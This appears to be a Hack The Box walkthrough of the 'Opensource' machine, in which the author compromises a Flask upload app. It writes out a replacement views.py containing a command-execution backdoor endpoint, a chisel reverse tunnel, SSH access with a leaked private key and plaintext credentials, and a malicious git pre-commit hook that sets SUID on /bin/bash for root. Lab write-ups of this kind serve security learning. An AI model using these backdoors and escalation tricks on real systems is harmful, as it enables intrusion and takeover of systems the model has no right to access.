Opensource — Hackthebox Walkthrough
User
Running my nmap scan, I saw there were a couple of open ports
nmap --open 10.10.11.164
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOm3Ocn3qQzvKFsAf8u2wdkpi0XryPX5W33bER74CfZxc4QPasF+hGBNSaCanZpccGuPffJ9YenksdoTNdf35cvhamsBUq6TD88Cyv9Qs68kWPJD71MkSDgoyMFIe7NTdzyWJJjmUcNHRvwfo6KQsVXjwC4MN+SkL6dLfAY4UawSNhJZGTiKu0snAV6TZ5ZYnmDpnKIEZzf/dOK6bBu4SCu9DRjPknuZkl7sKp3VCoI9CRIu1tihqs1NPhFa+XnHSRsULWtQqtmxZP5UXbmgwETxmpfw8M9XcMH0QXr8JSAdDkg2NtIapmPX/a3hVFATYg+idaEEQNlZHPUKLbCTyJ
80/tcp open http syn-ack Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
3000/tcp filtered ppp no-response
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service
Looking at port 80, there was a static website. There I was able to download the source code for the application.
After downloading the source code, I unzipped the file and took a look at them. Seemed like it was a python application made using flask
Looking at app/views.py
we see the endpoints we can reach. One of them is, /
which lets us upload files to the server with a POST request.
One thing to note here is that, once the file is uploaded the path of the file which is saved is determined based on the name of the filename we provide. And one more thing to note here is that the path is made using os.path.join()
method.
This is where the vulnerability of the application lies. So this function will join whatever the values we give as below
As in the application, the uploaded files are stored in $PWD/public/uploads/filename
. Well, you may be thinking you can use something like ../../filename
and break out of that directory. But not really! If you look at the code closely, there is a function named get_file_name()
called at the filename which is in the utils.py
This is a recursive function that replaces existing ../
in the filename with nothing. So if we were to provide ../../filename
as the filename, this will resolve it to just filename
. So using that won’t matter.
But if you look at how this os.path.join()
function works, it mentions something interesting. Which is, if we were to specify an absolute path as the filename for example /home/file
this will be saved /home/file
instead of $PWD/public/uploads/home/file
Simply said, if you have a /
at the start of your filename, no matter what's specified before, then it will be saved in the root of the file system. Therefore, what we can do is we can specify the filename as /app/app/views.py
which will overwrite the real views.py
(Note that you can only overwrite files as debug mode is set to True)
First, we have to make a python file called views.py
which will give us Remote Code Execution.
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
@app.route('/kavigihan')
def kavigihan():
return os.system(request.args.get('cmd'))
Here the /kavigihan
the endpoint will let us execute commands. Then we upload the file with the filename set to /app/app/views.py
Once its uploaded we should be able to execute commands by making a request to /kavigihan
endpoint with cmd
set to the command we need.
Here I am downloading a reverse shell that is hosted on my server and then executing it.
After I got a shell in my listener.
There wasn’t anything that important inside the container. Although, I saw that port 3000 was filtered in the nmap scan. Maybe that's cuz it's open only to the internal network. So I thought of forwarding that port using a tunnel from the container.
Therefore I started a server with chisel
locally.
./chisel server -p 8000 -reverse -v
Then transferred chisel
binary to the container and connected to the server to create a tunnel
./chisel client 10.10.14.29:8000 R:127.0.0.1:3000:172.17.0.1:3000
Then I accessed it at http://127.0.0.1:3000
It was Gitea
which is an application to host git repos. I tried creating an account and logging in but that led me to nothing. Since I didn’t have any credentials to use here, I thought of taking a step back and looking at the source code again.
There I saw there was a .git
folder there. So I thought of extracting the previously committed files from that. For that, I use GitTools extractor. I went to the directory where the .git
folder was and executed this
extractor.sh . out
The extracted files should be dumped into the out
directory. So looking through the files, I found some credentials in out/4-a76f8f75f7a4a12b706b0cf9c983796fa1985820/app/.vscode/settings.json
file.
dev01:Soulless_Developer#2022
With these credentials, I was able to login to the Gitea application. Then I found a repo called home-backup owned by the dev01 user.
From that, I saw able to get the ssh private key of that user.
With this, I was able to ssh in as dev01
user
chmod 600 id_rsa
ssh -i id_rsa dev01@10.10.11.164
Root
Running pspy
as dev01
user, we see a cron is executing a script called /usr/local/bin/git-sync
Looking at that script we can see it's doing a git commit
from the home directory of the dev01
user.
#!/bin/bashcd /home/dev01/if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi
Guessing this cron is running as root, we can use a git hook to get the advantage of this and execute commands as root. So a git hook is a script that will be executed before or after a git commit is done. You can find them in .git/hooks
in a git repo.
All we have to do is place a file called pre-commit
in the .git/hooks
#!/bin/shchmod u+s /bin/bashif git rev-parse --verify HEAD >/dev/null 2>&1
then
against=HEAD
else
against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
fiallownonascii=$(git config --bool hooks.allownonascii)exec 1>&2if [ "$allownonascii" != "true" ] &&test $(git diff --cached --name-only --diff-filter=A -z $against |
LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0
then
cat <<\EOF
Error: Attempt to add a non-ASCII file name.This can cause problems if you want to work with people on other platforms.To be portable it is advisable to rename the file.If you know what you are doing you can disable this check using:git config hooks.allownonascii true
EOF
exit 1
fi# If there are whitespace errors, print the offending file names and fail.
exec git diff-index --check --cached $against --
Note that chmod +s /bin/bash
is at the beginning of the file which will give the /bin/bash
binary SUID permissions which will let us execute it as root. Or you could have just placed a reverse shell there as well. Once the cron runs, this script will get executed and you should be able to get a root shell with
bash -p
Rooted!
“If you have any questions, make sure to leave them down in the comments, or contact me through social media.”
Email — iamkavigihan@gmail.com
Instagram — https://www.instagram.com/_kavi.gihan/
Discord — kavigihan#8518
Happy Hacking !!! 😄